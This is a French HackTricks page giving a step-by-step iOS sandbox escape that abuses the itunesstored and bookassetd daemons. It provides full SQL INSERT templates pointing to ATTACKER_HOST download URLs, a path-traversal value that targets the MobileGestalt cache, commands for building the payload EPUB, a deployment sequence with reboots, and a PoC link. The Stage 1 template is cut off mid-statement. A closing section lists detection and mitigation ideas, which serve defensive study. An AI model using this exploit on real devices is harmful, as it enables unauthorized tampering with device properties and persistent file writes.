itunesstored & bookassetd Sandbox Escape
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
Des recherches récentes montrent que deux daemons préinstallés iOS, itunesstored (gestionnaire de téléchargements) et bookassetd (gestionnaire d’assets Books / iBooks), font aveuglément confiance à des métadonnées SQLite écrites par l’utilisateur. En déposant des fichiers downloads.28.sqlitedb et BLDatabaseManager.sqlite spécialement conçus ainsi qu’une archive EPUB minimale, un attaquant capable d’écrire sous /var/mobile/Media/ peut contraindre ces daemons à effectuer des écritures de fichiers arbitraires à travers la plupart des chemins appartenant à mobile à l’intérieur de /private/var/. Ces primitives survivent aux redémarrages et permettent de modifier des caches de groupes système tels que systemgroup.com.apple.mobilegestaltcache pour usurper des propriétés de l’appareil ou persister une configuration.
Points clés :
- Fonctionne sur des appareils jusqu’au moins iOS 26.2b1 (testé sur iPhone 12 / iOS 26.0.1).
- Les cibles inscriptibles incluent les caches
SystemGroup,/private/var/mobile/Library/FairPlay,/private/var/mobile/Media, et d’autres fichiers appartenant àmobile. Les écritures vers des fichiers appartenant àrootéchouent. - Nécessite uniquement un accès de niveau AFC (copie de fichiers USB) ou tout point d’appui permettant de remplacer les DB SQLite ciblées et téléverser des payloads.
Modèle de menace et exigences
- Accès local au système de fichiers vers
/var/mobile/Media/Downloads/et/var/mobile/Media/Books/(via des clients AFC comme 3uTools, i4.cn, ouafcclientover USB, ou toute compromission préalable). - Serveur HTTP hébergeant les fichiers de l’attaquant (
BLDatabaseManager.sqlite,iTunesMetadata.plist, EPUB fabriqué) exposés via des URLs telles quehttps://ATTACKER_HOST/fileprovider.php?type=.... - Capacité à redémarrer l’appareil plusieurs fois pour forcer chaque daemon à recharger sa base de données.
- Connaissance de l’UUID du SystemGroup Books afin que l’écriture de l’Étape 1 tombe dans le bon conteneur (trouvé via syslog).
Étape 1 – Exploitation de downloads.28.sqlitedb via itunesstored
itunesstored traite /var/mobile/Media/Downloads/downloads.28.sqlitedb. La table asset stocke l’URL + métadonnées de destination et est traitée comme une entrée de confiance. Fabriquer une ligne qui pointe vers une URL de l’attaquant et définit local_path sur .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite à l’intérieur du SystemGroup Books fait que itunesstored télécharge et écrase la base Books avec le contenu de l’attaquant au démarrage.
Localiser l’UUID du SystemGroup Books
- Récupérez une archive syslog avec
pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
- Ouvrez
logs.logarchivedans Console.app et recherchezbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite. - Notez
<UUID>et substituez-le dans le payload SQL.
Ligne asset malveillante
Modèle d'INSERT pour l'étape 1
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Champs importants :
url: point de terminaison contrôlé par l’attaquant renvoyant leBLDatabaseManager.sqlitemalveillant.local_path: fichierBLDatabaseManager.sqlitedu groupe système Books déterminé ci‑dessus.- Flags de contrôle : conserver les valeurs par défaut (
asset_type='media',path_extension='epub', booléens définis à 0/1 comme dans le modèle) pour que le daemon accepte la tâche.
Déploiement
- Supprimer les entrées obsolètes
/var/mobile/Media/Downloads/*pour éviter les conditions de concurrence. - Remplacer
downloads.28.sqlitedbpar la base de données construite via AFC. - Redémarrer →
itunesstoredtélécharge la base de données de l’Étape 2 et dépose/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Copier ce plist dans
/var/mobile/Media/Books/iTunesMetadata.plist; l’Étape 2 l’attend à cet emplacement.
Étape 2 – Abuser de BLDatabaseManager.sqlite via bookassetd
bookassetd possède des filesystem entitlements plus larges et fait confiance à la table ZBLDOWNLOADINFO. En insérant une ligne d’achat factice qui référence des URL contrôlées par l’attaquant et une traversal dans ZPLISTPATH, le daemon télécharge votre EPUB vers /var/mobile/Media/Books/asset.epub et extrait ensuite les métadonnées dans n’importe quel chemin appartenant à mobile accessible via des séquences d’échappement ../../...
Ligne ZBLDOWNLOADINFO malveillante
Modèle INSERT de l'Étape 2
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Champs importants :
ZASSETPATH: emplacement sur disque de l’EPUB contrôlé par l’attaquant.ZURL/ZPERMLINK: URLs de l’attaquant hébergeant l’EPUB et le plist auxiliaire.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– la path traversal base appendue aux fichiers extraits de l’EPUB. Ajustez la profondeur de path traversal pour atteindre la cible SystemGroup souhaitée.- Les métadonnées d’achat (
ZSTOREIDENTIFIER, noms, horodatages) imitent des entrées légitimes afin que le daemon ne rejette pas la ligne.
Après avoir copié la DB malveillante dans /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (grâce à Stage 1) et redémarré deux fois, bookassetd va (1) télécharger l’EPUB, (2) le traiter et écrire le plist dérivé sous le chemin traversé.
Création du EPUB payload
bookassetd respecte le format EPUB ZIP : mimetype doit être la première entrée non compressée. Pour mapper le contenu EPUB vers le cache MobileGestalt, construisez un arbre de répertoires qui reflète le chemin désiré relatif à ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Créer l’archive :
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypecontient typiquement la valeur littéraleapplication/epub+zip.Caches/com.apple.MobileGestalt.plistcontient la payload contrôlée par l’attaquant qui aboutira à.../Library/Caches/com.apple.MobileGestalt.plist.
Flux d’orchestration
- Préparer les fichiers sur le serveur HTTP de l’attaquant et générer les deux bases SQLite avec des valeurs spécifiques à l’hôte/UUID.
- Remplacer
downloads.28.sqlitedbsur l’appareil et redémarrer → Stage 1 télécharge leBLDatabaseManager.sqlitemalveillant et émet/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Copier
iTunesMetadata.plistvers/var/mobile/Media/Books/iTunesMetadata.plist(répéter si le daemon le supprime). - Redémarrer à nouveau →
bookassetdtéléchargeasset.epubvers/var/mobile/Media/Books/en utilisant les métadonnées du Stage 2. - Redémarrer une troisième fois →
bookassetdtraite l’asset téléchargé, suitZPLISTPATHet écrit le contenu de l’EPUB dans le chemin SystemGroup ciblé (par ex.com.apple.MobileGestalt.plist). - Vérifier en lisant le plist écrasé ou en observant que les propriétés dérivées de MobileGestalt (identifiant du modèle, flags d’activation, etc.) changent en conséquence.
Le même schéma permet de déposer des fichiers sous d’autres caches possédés par mobile, comme l’état FairPlay ou des répertoires de persistance, permettant des altérations furtives sans nécessiter d’exploit kernel.
Outils et remarques opérationnelles
pymobiledevice3 syslog collect logs.logarchive– extraire les archives de logs pour découvrir l’UUID du Books SystemGroup.- Console.app – filtrer sur
bookassetd [Database]: Store is at ...pour récupérer le chemin exact du conteneur. - AFC clients (
afcclient, 3uTools, i4.cn) – push/pull des DB SQLite et des fichiers plist via USB sans jailbreak. zip– appliquer les contraintes d’ordre EPUB lors du packaging des payloads.- Public PoC – https://github.com/hanakim3945/bl_sbx fournit des templates SQLite/EPUB de base que vous pouvez personnaliser.
Idées de détection et d’atténuation
- Considérer
downloads.28.sqlitedbetBLDatabaseManager.sqlitecomme des entrées non fiables : valider quelocal_path/ZPLISTPATHrestent dans des sandboxes approuvés et rejeter les chemins qualifiés (fully qualified paths) ou les tokens de traversée. - Surveiller les écritures AFC qui remplacent ces bases ou les téléchargements inattendus initiés par
itunesstored/bookassetdpeu après le boot. - Renforcer le dépaquetage de
bookassetdpour appelerrealpath()sur la cible de sortie et s’assurer qu’il ne peut pas s’échapper du conteneur Books avant d’écrire les fichiers. - Restreindre les canaux de copie de fichiers AFC / USB ou exiger une interaction utilisateur avant d’autoriser le remplacement des fichiers metadata Books/iTunes.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

